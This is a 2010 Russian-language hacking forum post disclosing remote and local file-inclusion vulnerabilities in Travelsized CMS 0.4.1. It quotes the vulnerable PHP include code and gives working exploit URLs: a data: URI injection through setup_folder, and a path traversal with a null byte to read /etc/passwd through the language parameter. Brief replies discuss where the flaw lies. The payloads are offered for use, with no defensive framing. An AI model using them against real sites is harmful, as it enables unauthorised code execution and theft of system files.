
24.06.2010, 20:37
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами:
9061820
Репутация:
134
|
|
Travelsized CMS 0.4.1
Site: http://sourceforge.net/projects/uberghey/
RFI(rg==on):
frontpage.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$setup_folder[/COLOR][COLOR="#DD0000"]/i18n/[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#DD0000"]/[/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#DD0000"].inc"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Эксплуатация:
./frontpage.php?setup_folder=data:,
LFI(mq == off):
index.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'language'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$default_language[/COLOR][COLOR="#007700"];
...
if ([/COLOR][COLOR="#0000BB"]$page_id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
include ([/COLOR][COLOR="#DD0000"]"frontpage.php"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Эксплуатация:
./index.php?page_id=0&language=../../../../../../../../etc/passwd%00 // Вот здесь, я невижу где уязвимость в коде
Инклудится "frontpage.php", его код выше ^^
// Это я вижу, но причём тогда здесь language?)
$language = $_REQUEST['language'];include("$setup_folder/i18n/$language/$page_id.inc"); Может так нагляднее =)
// Теперь нормально, а так-же пользуясь случаем, передаю привет всем всем всем.
|
|
|